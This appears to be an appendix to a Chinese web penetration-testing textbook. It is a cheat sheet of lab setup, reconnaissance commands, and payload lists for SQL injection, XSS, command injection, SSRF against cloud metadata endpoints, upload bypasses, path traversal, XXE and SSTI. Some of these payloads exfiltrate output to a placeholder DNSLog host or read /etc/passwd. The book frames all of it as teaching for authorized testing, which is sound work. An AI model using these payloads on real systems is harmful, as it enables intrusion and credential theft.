这是本书的"随身手册"。 内容按"平时查得最勤"的顺序组织,建议打印或存成收藏夹。 ⚠️ 所有命令与 payload,仅限在你自己的靶场、或明确授权的目标上使用。
A.1 环境与基础
A.1.1 Docker 靶场命令
# 启动 DVWA
docker run -d -p 80:80 --name dvwa vulnerables/web-dvwa
# 启动 Juice Shop
docker run -d -p 3000:3000 --name juice bkimminich/juice-shop
# 启动 bWAPP / WebGoat / 其他
docker run -d -p 8080:8080 webgoat/goatandwolf
# 查看在跑的容器
docker ps
# 进容器
docker exec -it dvwa bash
# 停止 / 删除
docker stop dvwa && docker rm dvwa
# docker compose(一次起多个靶场)
docker compose up -d
A.1.2 Burp Suite 代理设置
① Proxy → Options → 监听 127.0.0.1:8080
② 浏览器设置代理指向 127.0.0.1:8080
③ 访问 http://burp 下载并安装 CA 证书
④ Firefox 建议用 FoxyProxy 插件快速切换
常用快捷键:
Ctrl+R 发送到 Repeater
Ctrl+I 发送到 Intruder
Ctrl+Shift+R 发送到 Repeater(新标签)
A.1.3 常用命令行工具
# ---- 信息收集 ----
curl -sI https://target.com # 只看响应头
dig target.com +short # DNS 解析
whois target.com # 域名信息
nslookup target.com
# ---- 存活探测 / 指纹 ----
cat subdomains.txt | httpx -silent -title -tech-detect -status-code
whatweb https://target.com
# ---- 端口扫描 ----
nmap -sV -p- target # 全端口 + 版本
nmap -sC -sV -p 80,443 target # 默认脚本
masscan -p1-65535 --rate=1000 target/24
# ---- 子域枚举 ----
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u
ffuf -w subdomains.txt -u https://FUZZ.target.com -mc 200,301,302,403
# ---- 目录爆破 ----
ffuf -w dirs.txt -u https://target.com/FUZZ -fc 404
ffuf -w dirs.txt -u https://target.com/FUZZ -e .php,.bak,.zip,.txt -fc 404
gobuster dir -u https://target.com -w dirs.txt
# ---- 参数发现 ----
arjun -u https://target.com/api/endpoint
# ---- 爬虫 / 提取 ----
katana -u https://target.com -d 3 -jc -o urls.txt
A.2 各漏洞类型 Payload 速查
A.2.1 SQL 注入(SQLi)
【探测】
单引号: '
双单引号: ''
反斜杠: 反斜杠字符
双引号: "
注释符: -- # /* */
【判断列数】
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- - (报错时,列数 = 上一行的数字)
【联合查询】
' UNION SELECT 1,2,3-- -
' UNION SELECT 1,database(),version()-- -
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -
' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users-- -
【报错注入(MySQL)】
' AND extractvalue(1,concat(0x7e,database()))-- -
' AND updatexml(1,concat(0x7e,database()),1)-- -
【布尔盲注】
' AND 1=1-- - (真)
' AND 1=2-- - (假)
' AND SUBSTRING(database(),1,1)='a'-- -
【时间盲注】
' AND SLEEP(5)-- - (MySQL)
'; WAITFOR DELAY '0:0:5'-- - (MSSQL)
' AND pg_sleep(5)-- - (PostgreSQL)
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)-- -(Oracle)
【绕过(回顾第 20 章)】
SeLeCt / SEL/**/ECT / UN/**/ION
0x61646d696e(十六进制表示 admin)
用注释代替空格
A.2.2 XSS
【最基础】
<script>alert(1)</script>
<script>alert(document.cookie)</script>
【无脚本标签】
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<svg/onload=alert(1)>
<body onload=alert(1)>
<iframe src=javascript:alert(1)>
<details open ontoggle=alert(1)>
<marquee onstart=alert(1)>
<video><source onerror=alert(1)>
【属性型】
" onmouseover="alert(1)
' onfocus='alert(1)' autofocus='
【JS 上下文】
';alert(1)//
结束当前 script 标签后另起
【URL 上下文】
javascript:alert(1)
【绕过(回顾第 20 章)】
<ScRiPt>alert(1)</ScRiPt>
<scr<script>ipt>alert(1)</script>
<img src=x onerror=confirm(1)>
A.2.3 命令注入
【分隔符】
; whoami
| whoami
|| whoami
&& whoami
反引号包裹 whoami
$(whoami)
%0a whoami
【常用命令】
whoami / id
uname -a
cat /etc/passwd
ipconfig / ifconfig
ls -la
ping -c 3 你的DNSLog
curl http://你的DNSLog
nslookup 你的DNSLog
【绕过空格】
cat${IFS}/etc/passwd
cat</etc/passwd
{cat,/etc/passwd}
cat$IFS$9/etc/passwd
【盲注(无回显)】
; ping -c 3 $(whoami).你的DNSLog
; curl http://你的DNSLog/$(whoami)
A.2.4 SSRF
【基础】
http://127.0.0.1/
http://localhost/
http://[::1]/
http://0.0.0.0/
【内网 / 云元数据】
http://169.254.169.254/latest/meta-data/ (AWS)
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://metadata.google.internal/ (GCP)
http://100.100.100.200/latest/meta-data/ (阿里云)
【绕过 IP 黑名单(进制 / 变形)】
http://2130706433/ (127.0.0.1 的十进制)
http://0x7f000001/ (十六进制)
http://127.1/ (省略写法)
http://127.0.0.1.nip.io/ (DNS 重绑定)
http://你的域名@127.0.0.1/ (@ 绕过)
【协议利用】
file:///etc/passwd
gopher://... (打内网服务)
dict://127.0.0.1:6379/
A.2.5 文件上传
【后缀绕过】
shell.php.jpg
shell.phtml / shell.pht / shell.php5
shell.PHP
shell.php. (末尾点)
shell.pphphp(双写)
shell.php%00.jpg(截断,旧版本)
shell.php::$DATA(Windows)
【内容绕过】
真实图片头(GIF89a)后接一句话木马
真实图片 + 尾部追加 PHP 代码
【.htaccess 技巧】
上传 .htaccess,内容:
AddType application/x-httpd-php .jpg
【.user.ini(PHP)】
auto_prepend_file=shell.jpg
A.2.6 路径穿越
../../../etc/passwd
..%2f..%2f..%2fetc/passwd
..%252f..%252f..%252fetc/passwd(双重编码)
....//....//....//etc/passwd
/etc/passwd(绝对路径)
..\..\..\windows\win.ini(Windows)
A.2.7 XXE
【基础文件读取】
<?xml version="1.0"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<root>&xxe;</root>
【盲注(外带)】
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://你的DNSLog/a"> %xxe; ]>
(或用外部 DTD 把文件内容外带)
【SSRF via XXE】
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
【绕过(PHP filter 编码)】
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
A.2.8 SSTI(模板注入)
【探测】
${7*7}
{{7*7}}
<%= 7*7 %>
#{7*7}
*{7*7}
(若返回 49,说明存在 SSTI)
【Jinja2(Python)】
{{ config }}
{{ ''.__class__.__mro__[1].__subclasses__() }}
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
【FreeMarker(Java)】
用 freemarker.template.utility.Execute 构造执行表达式
【Twig(PHP)】
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
A.2.9 反序列化(概念速查)
【PHP】
O:4:"User":1:{s:4:"name";s:5:"admin";}
(构造"类名 + 属性"的对象字符串)
【Java】
Base64 编码的序列化字节流 + 利用链(ysoserial 生成)
常见链:CommonsCollections / CommonsBeanutils / Fastjson / Shiro
★ 反序列化的"利用"高度依赖"目标用了哪个库 / 哪个版本",
真实场景中"gadget 链"需要针对性构造(本书第 14 章)。
A.3 编码与变形速查
A.3.1 常用编码对照
| 字符 | URL | 双重 URL | HTML | HTML(十进制) | JS(Unicode) |
|---|---|---|---|---|---|
| 左尖括号 | %3C | %253C | < | < | \u003c |
| 右尖括号 | %3E | %253E | > | > | \u003e |
| 单引号 | %27 | %2527 | - | ' | \u0027 |
| 双引号 | %22 | %2522 | " | " | \u0022 |
| 点 | %2E | %252E | - | . | \u002e |
| 斜杠 | %2F | %252F | - | / | \u002f |
| 空格 | %20 | %2520 | \u0020 |
A.3.2 常见转换命令
# URL 编码 / 解码
python3 -c "import urllib.parse; print(urllib.parse.quote('a<b>c'))"
python3 -c "import urllib.parse; print(urllib.parse.unquote('%3Ca%3E'))"
# Base64
echo -n "text" | base64
echo "dGV4dA==" | base64 -d
# Hex
echo -n "text" | xxd -p
echo "74657874" | xxd -r -p
# 各种哈希
echo -n "text" | md5sum
echo -n "text" | sha1sum
echo -n "text" | sha256sum
A.3.3 常见 Web 后门"形态"说明(仅限靶场 / 授权,仅作识别用途)
⚠️ 本小节只讲"后门长什么样、叫什么名字",不给可用代码—— 一是避免被误当作恶意样本,二是真正的门槛在"怎么用",不在"抄一行"。 这些 payload 的用途是"授权测试中的后渗透",在真实环境里上传后门 = 实质入侵。
【PHP 后门(形态)】
形式:PHP 开始标签 + 一个"接收请求参数并当作代码执行"的函数 + 结束标签
典型函数:eval() / assert() / system() / 变量函数
别名:"一句话"
【JSP 后门(形态)】
形式:JSP 脚本片段 + Runtime.getRuntime().exec(request 参数)
【ASP / ASPX 后门(形态)】
形式:ASP 脚本 + eval(request(...))
【常见"连接"工具(这些是工具名,不是 payload)】
中国菜刀(Caidao)/ 蚁剑(AntSword)/ 冰蝎(Behinder)/ 哥斯拉(Godzilla)
作用:把上述后门当作"入口",提供图形化的文件管理 / 命令执行
【在靶场上怎么练】
DVWA 的 File Upload 关卡 → 上传一个无害的探针(如只 echo 一个字符串)
→ 观察"上传后能否被解析执行" → 理解"上传 + 解析 = 后门"这条链
A.4 常用"检查清单"速查
A.4.1 单个接口的检查清单
□ 参数:有没有注入?(SQLi / NoSQL / 命令 / SSTI)
□ 输出:回显是否可 XSS?在什么上下文?
□ 权限:能否越权?(改 ID / 改角色 / 不带 Cookie)
□ 敏感操作:是否可 CSRF?
□ 并发:幂等吗?(同时发两次会怎样)
□ 边界:负数 / 0 / 超大 / 小数 / 特殊字符
□ 参数:有没有"隐藏参数"?(admin/debug/test)
□ 响应:有没有泄露信息?(版本 / 路径 / 堆栈)
A.4.2 整个站点的检查清单
□ 敏感路径:.git/.env/backup/actuator/swagger/phpinfo
□ 安全响应头是否齐全
□ Cookie 属性(HttpOnly/Secure/SameSite)
□ 组件版本是否已知漏洞
□ 目录能否列出
□ 报错页是否详细
□ 子域 / 端口 / 其他资产
□ robots.txt / sitemap.xml
□ 前端 JS 里的密钥 / 接口 / 注释
A.5 报告与记录模板
A.5.1 单漏洞记录模板(简版)
## [漏洞名称]
- 等级:严重/高/中/低
- 位置:URL / 参数
- 类型:CWE-xxx
### 描述
(一句话 + 展开)
### 复现
1. ...
2. ...
(请求报文 / 响应片段 / 截图)
### 危害
(能做什么,影响多少数据/用户)
### 修复
(具体到代码 / 配置)
A.5.2 每日测试记录模板
# 测试日志 2025-01-01
目标:xxx(授权范围:xxx)
## 进展
- 梳理了接口 a/b/c
- 测试了越权,发现 /api/order 存在 IDOR
- 目录爆破发现 .git
## 待办
- 确认 IDOR 的完整影响
- 测试上传功能
## 证据
- evidence/order-idor.png
- evidence/git-config.txt
💡 本附录的使用建议:把 A.2(漏洞 payload)和 A.4(检查清单)打印出来,测试时放手边。 但永远记住:先理解"为什么",再背"是什么"(第 20 章的教训)。